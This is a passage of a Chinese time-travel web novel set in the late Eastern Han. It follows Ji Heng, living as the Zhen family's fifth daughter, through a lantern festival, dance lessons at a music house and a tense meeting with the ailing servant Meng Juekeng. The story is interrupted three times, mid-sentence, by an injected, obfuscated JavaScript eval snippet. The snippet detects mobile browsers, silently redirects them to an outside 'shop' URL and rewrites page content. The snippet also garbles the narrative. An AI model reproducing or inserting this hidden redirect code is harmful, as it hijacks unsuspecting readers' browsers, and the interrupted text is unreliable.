“小儿少拿鬼话巴结我,今日是空费心思了,方才出门匆忙,竟忘了拿钱袋子。”谢容允浮起盈盈笑意,俨然很受用,“街宽路长,不料这般凑巧,又遇着你们,叔崖也有这个闲情雅致外出逛荡?” “是为着陪我家五娘子一块赏灯,不过,郎君这会儿正在西边的首饰铺给薛夫人选镯子呢。” “好啊,兄嫂如此恩爱,羡煞我等。” 季蘅无意听他们叙话家常,只默默将两条红绸系在一起,然后吩咐卢宽:“你辛苦一趟,帮我把它系在这棵树上,越高越好。” “诺,遵命。” 卢宽赶忙把啃了一半的馅饼拜托给缦双,又蹭干净手,微躬着身子,从五娘子处毕恭毕敬地接过红绸,最后借由树下那顶木梯爬到了枝桠间。 这时,谢容允也仰头望去。月朗风清,树叶瑟瑟作响,所系红绸,像一些残破的旗帜,在互相拉扯着。 男子大约想起了什么,嘴角微微一陷,那是种意料之中又无可奈何的表情。随后,他回首凝望红绸的主人,仿佛在欣赏一个不可思议的存在。 而此时,季蘅恰好迎上了这道略显诡谲的目光,有些困惑,又怕对方多想,主动解释:“万法自然,我时常劝告自己,切莫以假化真,早日从无明大梦中醒来方乃正道。” 谢容允以前其实不常做梦,最近不知怎么的,骤然寐魇缠身,他找到邱太璁,企图化解那些荒谬又鲜明的情绪。 对方虽不客气地收下了重金,却意外未襄助逐一剖豁,只摇晃着瘪脑袋,烂醉般神神叨叨:“月照千江,星移万古。鹿隐蕉中,蝶遇庄周。魂行神启,真幻相生。梦象非梦,宇宙无穷。” 有没有参悟倒还其次,而昨晚,他当真如庄周那般,梦见自己在静谧的月夜,化作一只巨大的樟青凤蝶。 那是个很长的梦,沧海桑田,季季轮回。他飞越千里,穿过泓泓鸣泉、连绵竹林、无边无际的花海,以及耿烈烁亮的赫赫燎火,最后又落回某位霞衣女子的肩上。 再顾,便看到今晚这幕: 清秋深沉,圆月高揭,几条红绸在黛蓝色的夜空迎风摇曳。 在那个梦里,他只看清众多红绸中的某句话“纵古今,诉与谁人说”。 合在一起便是完整的,季蘅刚才写下的:死生苦海,似梦初觉,纵古今,诉与谁人说? “那些梦也不尽都是虚妄。”谢容允破天荒地朝季蘅拱手,深深作了一揖,“或许,它们是现实的果,亦是未来的因……” 返程路上,季蘅明显心事重重。 甄尧固然察觉一二,且则哄自己是妹妹玩得太欢,眼下疲倦了,并不敢多嘴问询。 等回了甄宅,各归各院,他才喊住卢宽:“先前在喜街,可有什么特别的事发生?” 小仆一头雾水,茫然答:“也没什么稀奇的。”顿了顿,补充道,“就是遇上了谢先生,攀谈了几句话。” “谢敛谢容允?” “正是。方才只说您在给夫人买首饰,先生似乎还有其它要紧事,打了个照面就走了。哦,他说,择日再登门拜访。” 甄尧沉默了片刻,又问:“他与五妹,还算相熟?” 卢宽想了想,摇头道:“那倒不及熟识,只搭了几言语。”左右他忙着啃饼,也听不懂那两位在文绉绉说些什么。 “罢了。她现在大了,有自己小心思了,我这个做兄长的,总归想管也管不着。”甄尧莫名轻笑出声,“嗳,之前从未想过将他二人放在一块谈及,现下看来,这脾性倒有几分相近,都古怪得很。” “谢先生仪表堂堂,更兼世族出身,至今仍未娶亲,说来与咱家五娘子实在相……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052414|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他?他可不行,”甄尧立即改容打断,“谢敛不可,万万不可!我虽与他相识数载,却从未真正看透此人。这样的贤才就像天上的云,变数太多了。稍有不慎,我都害怕被他欺诳了去!” 卢宽一听,忙机灵赔笑:“多嘴多嘴,竟说了糊涂话,瞎点鸳鸯谱了!这要是被袁公子听见,可轻饶不得小奴。” 提到袁熙,甄尧才想起一桩正事。 “你去泰阿阁瞧瞧,阎术罗从襄玉坊回来了没有,如若——”他刚踏进院门,忽停顿,掂了掂手里锦囊口袋,是给夫人买的镯子,又改了主意,“也罢,夜已深沉,明日再议。” 再说这季蘅,自打赏灯回来,便有些寡欢,现下正临窗望夜怀远。 “娘子。”细宝端来了刚出炉的桂花糕和奶酒。 季蘅仍目不转视地痴痴赏月,忽而叹道:“沧海桑田,世事变迁,可我却觉得这月亮,再过个千年百年,也是一模一样的。” “瞧您这语气,跟见过千百年后的月亮似的。”细宝不解其中哀怆,反而打趣,“要奴婢说,指不定明晚这整块月亮全被天狗食尽,永永远远消失了也未可知。” “我只是想……”中秋,从古至今都是阖家团聚的佳节,哪怕眼下甘分随时,也不免借景思乡情切了,季蘅险些说秃噜嘴,硬生生把最后的“家”字就着羊奶吞咽下去。 “您想什么呢?” “我想马放南山,万事太平。”她挤出一道恬淡自若的笑,“近来在读《越绝志》,很想亲眼看看那吴越之地的山水人文。” “咱家的四娘子不就远嫁至吴郡么。”细宝提醒。 季蘅记得,四姐姐甄荣是兴平二年正月,嫁给了丹阳笮氏,对那处的印象,不过寥寥几封家书的只言片语。 吴郡。她只是忽又想到,孙策在夏天的时候承袭了父爵,兼任会稽太守,不久便与那寿春僭号称帝的袁术彻底决裂。 袁术乃袁绍异母弟,听闻是个骄奢淫佚、苛虐无度的惑主,江淮两地被他毁得民生凋敝,多有饥荒,确凿不如冢中一副枯骨。 “南方虽不及北边这般动荡,却也算不上多安稳太平,罢了,此等乱世,什么游历吴越,实属痴念。” “若您是个孔武有力的男子,就无需那么担惊受怕了,”细宝搭话,“看三郎君前些年,外头再乱,他都敢满天下地瞎逛。” 这话倒叫季蘅笑不出来了,她也曾是热衷旅行的人,走南闯北,四处散心,兴头好时,一年能飞出某航的白金卡。 可惜现在,被迫变成了坐井之蛙…… “你先下去歇息吧,我想独自赏会儿月。” “那您趁热记得吃完糕点,奴婢晚些时候再过来收拾。” 脖项仰得略酸累,季蘅松散了脊背,懒拖拖趴在窗台前。 夜已深,天地静谧,偶有几声虫鸣,更添自然之幽寂。这间屋子毗邻小镜湖,晚风渐凉,粼粼湖面泛起莹润的月光,她心下生寒,亦有几分粟然。 11. 双喜 日子一天天过去,甄宅的客人来了又走,似杳杳南飞的雁,划过寥廓远天,却未留下半分云痕。 待到九月初旬,秋高气爽的时候,甄尧终得是举了孝廉,被袁氏辟为大将军东曹属。 眼看仕途即将步入正道,他向来平和的心境不由稍起波澜,未等全然安定下,家中又传来妻子薛婉有孕的喜讯。 可谓好事成双,吉祥止止,甄家一扫前些年的没落颓败,这时来运转,到底只需一点机缘。 母亲张氏最是大喜,孩儿报国有门,家族添丁进口,老人家操持了大半辈子,已然知足,于是择定吉辰,亲登章台山,斋戒三日还愿。 季蘅也很高兴,尤其是自打三嫂有孕后,所有人的眼睛和心思便拴到了那还不算显怀的肚子上,叫她没得管束,逍遥快活,外出溜达的机会都变多了,最近总流连于襄玉坊,跟着那些美人学起赵舞。 都说倡家是贱籍,乐伎不过贵介富商的取乐,可季蘅非但不看轻,反而以礼相待。是因那些身微力薄的蒲柳,各具长处,比宦海里的什么朽木粪土,更显韧性。 其中有个叫王婵的姐姐,看着端庄柔顺,身段曼妙翩跹,口才和见解竟是泼辣犀利的,以前似乎家境不错,念过几年书。 季蘅喜欢这般态度鲜明热烈的女子,像燃灼的炽焰,加之舞技出众,便拜其为师,私底下交了好。她自己亦是个有天赋的,不过几日就熟练了一支舞。 玄矶看在眼里,不禁逗引:“瞧这身段,这脸蛋,哎,惜哉,惜哉!好妹妹,说句不中听的话,倘若哪日甄氏不幸家道中落了,可千万记得投奔我这襄玉坊啊,待我亲自调弄一番,定叫你惊绝于天下美姬!” 她讲话,经常这样无所禁忌,实则少有恶意,季蘅即便感到冒犯,也不过笑笑:“我闲时玩闹,胡乱蹈咏,可不敢指望这个吃饭。” 其实,季蘅最近只是太闲了,才想着学些什么打发时间,譬如琵琶箜篌、胡琴秦筝,等等,指不定往后能派上用场。 她在乐器方面亦有天资,但可惜,除却看书,人是难静坐住的,左右还是更喜欢跳舞些,喜欢那轻盈漂亮的长裙,以及随着舞姿摆动的明晃晃的步摇首饰。 “千百年来,女子总归以色事人,”玄矶继续撩拨,“单凭这倾国倾城的容貌,便不至让你美玉蒙尘。” 听到这样的“夸赞”,季蘅实在高兴不起来,她很清楚“色衰而爱弛,爱弛而恩绝”的道理。 未来无论袁熙还是曹丕,无论娶她还是废弃她,皆因这张红颜美好却易老的脸,当真难说福祸。 见季蘅神色微变,一旁眼尖的王婵不由牵住玄矶的手:“坊主可知庄姜、班婕妤?她们不仅容貌超卓,文采更是不同凡响。可即便这样近乎完美的女子,仍逃不过被自己夫君冷落的苦命。反观嫫母、钟离春,有德无色,却过得顺遂。让婵儿我看呐,美貌该是最不值钱的福气!” 玄矶调笑般瞪了她一眼,啐声道:“呸!尔等自恃美貌,才说得出这种糊涂昏话!瞧瞧,这身上的绫罗绸缎,满发间的金银珠翠,哪样不是用美色换来的?阿婵,你若只是个貌若无盐的乡野丫头,如今指不定在哪背旮旯儿受苦遭罪呢。切实好命了,遇着我这个软心肠的东家,不使客人欺辱你们半分,连工钱也不曾克扣!” 众姬皆掩帕调笑,最后这句话确然不假。她们的幸运并非单单生得一张漂亮的脸蛋,而在于遇上坊主这样护短的好人。 玄矶大抵因为自己年轻时吃过不少苦,如今对坊里这些孩儿们再三照顾,她也是刀子嘴豆腐心。 几个直率开朗的,拥上前贴着她撒娇,大家都敢揶揄打趣,可见其性格温蔼。 “是,坊主最是良善,于我等皆有再造之恩,哪日谁侥幸攀附了富贵,定要先孝敬您老人家。”王婵自嘲,“不过,我若真是个命好的,就该学学甄娘子,托生到那些朱门绮户去,何苦作践在这里卖弄颜色!” “行了啊,我若说上一句,个个都有十句等着,且散了休息会儿,省得把你们渴死。”话罢,玄矶摆手遣散众姬,又对季蘅道,“练得这样久,时辰也不早了,咱们去厢房用会子饭,后晌我还有桩生意要谈。” 季蘅点头,朝王婵几位相熟的姐姐道别后,与玄矶两人挽着手便往前楼走去,边说着话。 “我啊,”玄矶轻拍了拍季蘅的手背,“打算将这坊子开到邺城去。” 这两年她挨风缉缝,委实赚了不少,而这毋极一隅,怕早已填不住那饕餮似的胃口。 “原先还在观望,到底许都还是邺城,统统考虑过了一遍,想着总归北方这样乱,一天倒一个靠山,我权衡再三,袁公还算长久,就挑个近些的地方罢了。” 邺城虽非王畿,然乘高居险,表里山河,易守难攻,自古便是兵家必争重地;且沃土肥田丰足,水运陆路通达,加之袁绍多年布施的仁化德政下,百姓还算安居。 袁家于邺城,虽是昙花一现,但随后取而代之的曹氏继续苦心营建,使得其在很长一段时间里成为了黄河流域的文化经济中心。 故而,玄矶选在彼中做营生,倒颇具眼光。 可即便心里有千言万语的好,季蘅这表面上的闺阁女子只能开口道一句:“嗯,阿兄就常与我们说及邺城的便利。” 闻之,玄矶不由意味深长地笑了:“往后在邺,你我二人亦可常走动。” 季蘅愣了愣,很快恍然,只装傻道:“我家未必会随他一同迁往邺城安居。” 玄矶也不道破:“不急,且得等薛夫人平安诞下贵子。” 说到薛婉,若足月产子,那该是明年暮夏的事了,似乎还有点遥远,不知彼时后园里满筠池的莲花开了几朵,又凋落了几朵。 眼下天气转凉,月份也变大,她是益发害喜严重,吃不得多少荤腥,肚子虽渐渐圆鼓起来,人反而清减许多,蔫头蔫脑的,好似肚皮里寄居了一个嗜血啮骨的邪祟! 季蘅看在眼里,却爱莫能助,果然成为母亲太苦,怀孕受罪数百天,生产那刻更像是独闯鬼门关。尤其当她一想到自己以后还要强颜侍奉讨厌的仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052415|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雠,再与他生下个短命乖戾还绝嗣的小皇帝……就觉得烦躁,当真来日不可期了。 可薛婉传统,没那么多顾虑,只觉得身子越沉,心里越踏实,一时的辛苦不算什么,祖祖辈辈都是这样捱过来的,因那肚子里的新生命,属于她与所爱的结果,故而满怀憧憬。 好在甄尧还算有点良心,虽不能代妻受罪,但特意推迟了任期,每日在家中陪伴,欲等开春,月份大了,胎象稳定,他再赶赴邺城。 午膳只少就了点菜瓜汤,现下,薛婉躺在自家夫君的怀里,听他畅述未来和美小家庭的日子,很是满足适意,不一会儿便安稳睡去。 陪着夫人睡了片刻的午觉,甄尧起身松泛筋骨,大约半时辰后,人在前厅练字,屋外伺候的丫鬟观杏忽揭起帘,引成禄进来了,那厮开口便道:“郎主,都安排妥了。” 甄尧心中了然,并未追问太甚,只点头:“好。” 他掭墨,却迟疑地瞥了眼书案右上角搁置的一封书信,正是谢容允的亲笔,那人离开青州后,回了趟颍川老家,接着估摸要走许都了。 正值秋冬之交,天色变得蓝沉沉,还未凋落的树叶在清新微风中摇曳,悉悉沙沙,窗子半掩着,空气中弥漫着潮湿木叶的甜味。 等到最后一波收获过去,该迎来彻底萧索枯寂的时候了。 甄尧感慨万千,最后只在绢上写下四个大字:君子不器。 “这字随手而成,竟写得不错,成禄,拿去霁风斋,让新来的奴仆挂起来。” “诺。” 甄宅的故书典籍颇多,北院建有竹斋三楹:霁风、湔雪、澹月。 其中为首的霁风斋,积书最精,但位置也最偏僻,毗邻小镜湖,只一处通路,从前是几位郎君娘子的隐下读书之所。 中山毋极甄氏,若只说是书香门第,都算低看了,当年可谓钟鸣鼎食的大望族。 汉哀帝、平帝乃至新朝,甄家依附王莽,正值兴旺显贵之时,接连出了大司空、大司马、侍中、光禄勋……好几位重臣。 然,新朝国祚不过十数年,建兴帝屡遭民变起义,最后死在了未央宫的渐台。据说他的头颅被人割去,请术士以巫法镇在皇城玉阙内,是为警醒后世的乱臣贼子、无道之人。 随着新莽覆亡,甄氏亦大势去矣,虽未一时垮台,却一辈不及一辈,落魄至甄尧他们父亲这代,不过区区上蔡令。 所谓比上不足,比下却富余,单那世代承袭的每年二千石俸禄,便可保全一大家子锦衣玉食。 甄尧自认驽马铅刀,无经世济民的卓才,更不敢比肩祖上,位极人臣,但有一古谚,谓:深山藏虎豹,乱世造英雄。 时值乱世,群雄逐鹿,他亦不甘平庸,与袁熙、阎术罗等辈交好,正有乘势建立功业之意。 可叹造化小儿最喜捉弄凡夫,此刻踌躇满志的甄尧如何也料想不到,他这尾过江之鲫压根无法翻江倒海,哪怕掀起丝毫波澜,而甄氏一门来日的盛衰荣辱,竟全将系于眼下饱食终日、无所用心的小妹身上。 12. 登堂 刚过午,丫鬟雁弩算准时辰,奉来饷食,是因彭姑归休,这几日的膳饮皆由东厨掌管。 她兴冲冲进了厅堂,却见满室一派狼藉,竟无处落脚。 “我来吧。”细宝从寝内打帘出迎,亲自接下那份食盒,边解释,“休见笑,娘子正急忙慌寻东西呢,晨起便开始翻箱倒柜,也不许我等插手。” “五娘子丢东西了?别是什么名贵要紧的。” “不碍事,几捆破竹片而已,哪里有笨贼要贪这个的,多半是娘子又随手乱放了。” 两人杵在香几旁闲聊了会儿私话,见缦双打了热水从外头进来,雁弩有些畏她,便立马敛声,欠身告辞。 “先紧着用膳吧,”缦双将木盆一搁,朝里间唤道,“娘子,天冷饭菜也凉得快,这些权该交给奴婢妥帖。” 细宝也附和着,去拾掇那矮案,布起碗碟了。 至于季蘅,已在屋里翻肠倒肚了整个上午,确有些眼花缭乱,她隐约记得,大概四五日前,因着委实清闲无聊,随手拿了卷《白虎通德论》誊抄练字,可没过多久,就嫌里面的内容太无趣,也端正得写累了,便开始负气地鬼画符,一时兴起,旧病复发——于空处默了篇辛弃疾的词作。 旁的都没什么,此类诗歌体裁虽被迫提早了几百年出现,但私下写画,又不传阅,应当无伤大雅,偏只最后那句,越想越不妥: 天下英雄谁敌手,曹刘,生子当如孙仲谋。① 要说天底下姓曹姓刘的多多了,这会儿略提及倒无大妨,可那孙仲谋却是实实被点了名的,如今不过志学之年,谈何功绩名望?莫说他哥尚未一统江东,连那大名鼎鼎的骷髅王袁术都还没死呢。 况且“生子当如孙仲谋”的赞叹,还是十多年后濡须之战曹操所发出的…… 可不能捷足先登! 她也是昨日听闻曹操于蕲阳大败袁术的捷报,才后知后觉反应过来,天机不可泄露,等再想涂抹掉这些字,竟就寻不见那卷竹简了。 一夜始终悬着颗心,害怕竹简被城府深沉的人拾了去,用以拿捏甄家,自己没什么,甄尧却在袁绍帐下效命;虽不至于误解他们与孙氏暗通款曲,或当成反诗告密……可这些话现在看也实在别扭。 苦恼之余又自寻慰藉,甄家早已败落,没有安插眼线细作的必要,身边的几个丫头都很忠心,谁也不会故意藏匿,其余粗使婢仆更未必识字,近日家中甚至无俗客造访,有兴趣读书的不过甄尧、景湛—— 季蘅的手忽摸到一袭漩纹的青缣帙帷,正是景湛常用的裹书套,前几日来她房里请教学问留下的。 哎! 终于给她记起,那日霜降正是陪伴二嫂邓端在秾园赏菊品兰,后又顺路去到临近的霁风斋歇腿小憩。 午睡起当是百无聊赖,她提笔练了一柱香的字,其间所阅览的竹简自然都放回了斋里的架子上,难怪将繁柯院翻破天了也不能找到。 就快入冬了,人不仅身子变倦懒,脑子也嫌冷不思动了,这记性是难逃得越发昏聩。 幸而忆起这些,季蘅终于宁神,如释重负地应了句:“好,马上就来。” 待速速用完膳,正逢晌午风大,她系了条斗篷,独自前往霁风斋。 那地界离繁柯院不算远,只因隔着小镜湖,去时还需绕条幽径,季蘅偶尔走累了,就会暗想,若在湖上摆条渡船该多方便。 虽说是因醉酒落水才来到这边的世界,所幸没留下什么应激障碍,她对江河湖海依旧向往。 可惜啊,至今还没机会驾一叶扁舟遨游江上,棹月穿云,体验一把什么叫“醉后不知天在水,满船清梦压星河②”的浪漫,如此这般了,才算真正当了回古人。 她甚至偷偷列了个清单,是关于穿越后必做的几件事,想着,等都完成了,再被曹丕一盏鸩酒葬送了去,也算死而无憾了。 胡乱想着,心情不由自在些。季蘅知道今日的霁风斋应是没有人在的,景湛早起带着束脩至夫子家拜谒,甄尧则陪薛婉回娘家省亲——她成了家中大王,无拘无碍,施施然踏进了这处平阔的庭院。 映入眼帘的先是大片藤蔓细密的爬山虎,橘红攀缘着灰墙,倒别致好看。 外门老旧,推开时吱嘎一响,就像仔兽的呜咽,刺耳又悲凉。 到了秋冬,寒风萧瑟,园草枯黄,天色总也阴沉。石径小路两旁,种了些秋海棠和银葛叶,却难添颜色,侧面的窗子微敞着,下台引水成池,摆了岩石假山和浮藻,还有两口碗莲。 听得竹籁沙沙、流水淙淙,季蘅的心绪已然平缓下来。 待走进屋内,发现明净窗下,有一瘦长的背脊微微弯曲着,动作缓而稳妥,正仔细清理发霉的竹简。 她一时想不起是哪个小仆,便假意咳嗽了几声。 那人果然直起背,回顾望来。 但见一张憔悴俊容,面色枯槁,额前凌乱垂着几绺青丝,眼睛有些黯淡,仿佛无喜无悲。 不知为何,季蘅怔怔呆看了半晌,再仔细一瞧,才恍然想起眼前这位青襟白衫的家仆竟是孟觉苦。 自那日旭庄别过,季蘅偶尔才会念起他,未料两个月后,大病痊愈的他当真来甄宅做事了。 “你怎么在这啊,”她又惊又喜,忙上前几步,“是谁请你过来的?” “积病有幸小愈,自然要感恩戴德,如约报答甄家的。”跪坐着的孟觉苦不由侧过身,显得十足恭敬,“只可惜到底身子骨养废了,手无重力,劳累不得,幸而郎君不嫌弃,见我识得几个字,便打发了来这霁风斋当杂役。” 他说得轻松,可在季蘅听来却也是有些悲凉的。 原本骋驰沙场的少年将军,如今只落得一身病痛,再不如前。 “当真是牛鼎烹鸡,委屈你了。” 孟觉苦观她脸色,大约猜出心中所想,疏远地笑道:“拣回一条贱命已是万幸,每日理书洗砚烹茶,闲云野鹤般,能得此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052416|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清闲,怎叫委屈?实则我前世积德的福分。” 也是奇了,甄尧并非心慈仁善之徒,从不做亏本买卖,更不知体恤二字如何写,若要他对生人施以援手,背后必定有所图。 季蘅不由调侃:“看样子世道艰难,如今应天受命的明公遍地都是,知书识字的小仆竟难寻了。” 孟觉苦眼波微动,佯装不解话中意,反问:“娘子亲临霁风斋,是为何故?可要我为你铺帛研墨?” 季蘅没直接回答,似乎望着那炭盆出了神,孟觉苦见状,忙解释:“我惧寒,故而早早用上了炭,郎君亦是知晓的。” “放心,我是过来看书,并非讨债的。”她柳眉一挑,也没卸下斗篷,径直坐在了炭盆另一侧的案子边,“孟觉苦,劳你将《白虎通》,”语气且顿了顿,补充道,“还有《孝经》,都寻来予我。” 孟觉苦不疑,恭敬地应了声诺,正当他起身找书时,季蘅给自己倒了碗茶水解渴,并将目光扫过案几上摆着的印泥、墨匣、笔帘等物。 “人生在世,莫大于忠孝二字。” 她的音调放得轻柔,咬字也有些刻意,好似揉成一窝的迷梦。 “你既通文墨,可有亲作手书寄往故乡,给双亲报声平安?” 虽看不见孟觉苦的神情,但那枯竹般的背影明显滞了半晌,是因大病一场,他的手臂瘦瘠非常,青筋毕露,仿佛随时会断折,扶在架子上一一掠过,终于找到了那两卷书,方缓言:“有些人,活着不如死了好。” 这时,耳后的窗扉扑得咿呀作响,季蘅稍抬眼,大约又是一场急骤风雨,见孟觉苦已将两卷书呈到自己面前,心头不免涌上几分觖怅,转而道:“下雨了,劳你寻把油伞来。” 这意思便是要走了。 孟觉苦一愣,又微微低了些脖子:“诺。不过,娘子未带随从,这些……” “并非什么大物件,我空有四肢,怎会拿不得?”季蘅愈发愠恼,不愿再与他多言,单手抱起书袋,走到了檐下。 灰堵堵的云幕,飘着洋洋洒洒的雨水,因这滂沱润泽,小院左块的老竹林一扫蔫儿劲,拾翠如新,竟不觉萧瑟了。想那汤风易驱,唯有郁积心头的闷气难解。 “娘子久候。”孟觉苦取来把新伞。 季蘅接过,正欲挪步,却又不甘地停了停,莫名回首道:“眼下曹司空即将南征张绣,定是为报年初宛城之仇,料想不日便能收复许都以南的失地。自古胜负乃兵家常事,何故为一次成败就蹉跎了意志?无论你是谁,曹昂也好,寻常士卒也罢,老天让你死里逃生,不是看你躲起来颓唐萎靡的。” 这番话本不该从个十几岁小姑娘嘴里冒出,可她憋在心里太久,今天偏就说给孟觉苦听了,更不在乎对方的神色反应,话罢,便踏下庭阶,顶着淅沥落雨,穿过那杂草丛生的泥园。 只余孟觉苦一人,孤零零又单薄地杵在廊边,像片枯叶,被雨打湿,随风掉进肮脏的泥沼里。 13. 立冬 “可是今日的菜烧得太腻,不合滋味吗?那盘兔肉瞧您都没动几箸。” 见娘子晚饭进得不香,人似乎也有些杂念萦怀,缦双特地洗了酸口的山楂送到跟前。 侧卧罗汉榻的季蘅又重重叹了声闷气,单这一晚上叹了大约有十数回。她终于认命般搁下手中的书卷,竟连一个字也没读进脑子,只怪时不时会想起孟觉苦那张超然物外的脸,心里反复后悔,临走前怎就冲动来了段谬妄至极的谴责! 当然,孟觉苦再聪明,应还想不到世间存在“穿越”这种荒唐事的,最多怀疑对方是不是招邪祟了发疯胡言罢。 “双儿,”窗前的花早已换成了应季的幽兰,季蘅若有所思地望着那颜色,忽问,“你从小到大,有没有藏掖过自己的秘密,是谁也不能告诉的?” 这话问得有些出乎意料,缦双可能当成主人的敲打,坦然笑了笑:“奴婢每日都在娘子眼皮底下做事,哪还有闲存着什么私念?” 季蘅并不满意这个回答,轻轻蹙眉:“不对,人心不同,各如其面。每个人都该有无法宣之于口的秘密,这又并非错事。” “可奴婢的心尖上确实只有娘子一人,不拘您垂问什么,该知无不言的。” 缦双聪慧内敏,平时学什么都一点就透,但不妨她的思想依旧蒙昧,这倒不好怪罪谁,生在这个时代,几乎所有人都不可避免地屈服于命运。 她母亲当年就是伺候张氏的陪嫁,年纪一到,指给家中小厮随意配了,后来生下她几个姊妹,等长大些,最机敏细致的缦双便被安排进繁柯院,成为季蘅的贴身丫鬟,如此而已。 这些人的一生,多是循规蹈矩、麻木不仁的,从来只当自己是家主的工具和附庸,即便闪过非分之念,也几乎不敢做出实际举动去抗争。 一方面,季蘅很遗憾她们委身深宅后院,不曾见识广阔天地,便虚度了一生; 但另一方面,穿越到甄家这样的朱门绣户,已经失去质问“王侯将相宁有种乎”的资格。 大多时候,她嘴上虽谴责,实则庆幸并享受着出身所带来的特权,而自我开解更是有一套: 没办法,东汉的生产力决定了封建社会正处于兴起阶段,难道让我这个“事不关己高高挂起”的穿越者好心在此间宣扬德赛两先生和费小姐穆姑娘么?我确实很爱享受,有一大堆坏毛病,没那么伟大!所谓应天顺时,保命和独善其身才是最要紧的…… 红玛瑙般的山楂泡就石蜜和井水,又酸又甜,季蘅烦恼归烦恼,还是忍不住吃了一颗。 “上次,”她慢慢说,“上次在旭庄见的那个人,如今正在咱家当差。” 缦双先是一愣,沉了眸子,然后问:“您午后外出是为了此事?” “那倒不是因为他。呃,他属于意外之喜,”季蘅顿了顿,改正道,“也谈不上什么喜。” 她还想数说几句,又瞧见细宝捧着刚薰完香的衣物进来,忽就失了心情,只说,“我饿了,你到厨下要些果品。” 缦双也不多问,领了差事便匆匆退下。 而细宝收拾完后,凑到季蘅跟前捶腿,语气先是试探:“明日就是立冬了,娘子要不去看看百戏解闷?” 往年的四时八节,族中男丁皆往北郊祭祖,女眷们则天不亮就要为一些节俗活动忙碌。季蘅呢,大家眼里被宠坏了的小娘子,无有仔肩,姑且也只她能乐得自在。 不过现下她完全没心情,只敷衍道:“吵得慌。” “听说那芦雪街有从西边贵霜来的胡人,生得威武古怪,麦穗似的嫩黄金发,蓝宝石一般眼珠子……”细宝仍不放弃地补充,“什么跳丸飞剑、叠案旋盘都太寻常了,他们还能吞刀吐火,表演幻术哩!” 季蘅猜出了她的小心思,想了想,说:“我那条曙色的广袖襦裙上好像掉了几颗米粒大小的粉珠子,家里没有适配的珍珠,你明日到外头购置些回来,若路上恰好遇见什么稀罕趣事,记得同我们讲。” “多谢娘子。”细宝顿时喜笑颜开,心里有了底,话也不住多起来,“雁弩明早也要去市集采买,我正好同她一道。前些天路过韶园,碰见了三郎君和那孟家侄儿并肩说话,雁弩偷偷指给我看的。她说得果然没错,确实生得疏眉朗目,气宇非凡,那通身气派,竟比郎君先前邀来的贵客还要高明些。” 这倒是崩口人忌崩口碗了。 季蘅表面上装作对孟家侄没兴趣,心里却在暗自啐骂,胡说八道,哪里气派了,根本草包一个! 莫说曹昂,但凡是个有追求的将士,都不会甘心下半辈子只当个供人使唤的杂役,于是赌气地想,假的,心雄万夫的曹孟德定不会生出这般窝囊颓废的儿子! 可夜里冷静下来,又琢磨,自己有什么立场失望呢,倒是坐着说话不腰疼了,谁鬼门关走一遭,就算没撞见阎王爷,也要被黑白无常挫挫锐气。 再者,有抱负不等于鲁莽冒失,若真是曹昂,又凭何信任她与甄家,轻易将实话和盘托出,没准人家正隐忍蛰伏着…… 就这样,季蘅发达的左右脑几乎打了一整晚的架,是彻夜浅眠。 翌日,她自然起得比平素要迟些,叫早膳热了有两回。 “可是昨晚又心野贪玩,耽误觉了?”霍逦拉着缦双在檐下问话,末了,妇人才叮嘱起正事,“我正预备那冬补的牛羊肉,等太阳下山,该炖好了,记得安排个力气大的小厮过来取,丢给你们小厨房自己拾掇。” 及至巳时三刻,季蘅才磨磨蹭蹭求衣,绑了束胸,换好猎服,她捋了捋乌黑稠密的韶发,随意束成松垮的双辫。 “你今日也不消跟着了,”她从首饰首饰匣里寻出一副银点玛瑙抹额,边叮嘱缦双,“我去西苑瞧瞧玉头骢,遛会儿马,之后或在芙蓉水榭练舞,或在澹月斋习字。反正莫来寻我,搅了意趣,天黑透前定回繁柯院。有什么事,都先憋着。” “诺。”缦双走上前,帮五娘子戴好,“真漂亮,就像草原上的胡姬。” “立冬了,你们,红枭绫戈,大伙儿尽管去逛百戏热闹热闹吧,无须总守在家里。” “挨肩擦膀,乌泱泱的,可不想上赶着遭那份罪。她们各有安排,多谢娘子挂心。”缦双笑着理了理季蘅腰带上的坠子和香囊,“既是立冬,奴婢偷闲,留住护院酿黄酒,再记得给您蒸碗赤豆糯米饭。” 闻此,季蘅点了点头,抄起细鞭,飒飒走了出去。 央求甄尧教会自己骑马,是穿越后她实现的第一桩私心。这位便宜兄长虽嘴上说着不太妥,但见小妹又是撒娇又是哭得涕泗滂沱,很快就心软了。 那玉头骢便是当年他送的生辰礼物,至今已有四岁了。 季蘅去马厩是真,不过,并未耽搁多久,喂完两捆苜蓿,很快骑它从后门偷溜出来,看方向,肆意往虎婆园去了。 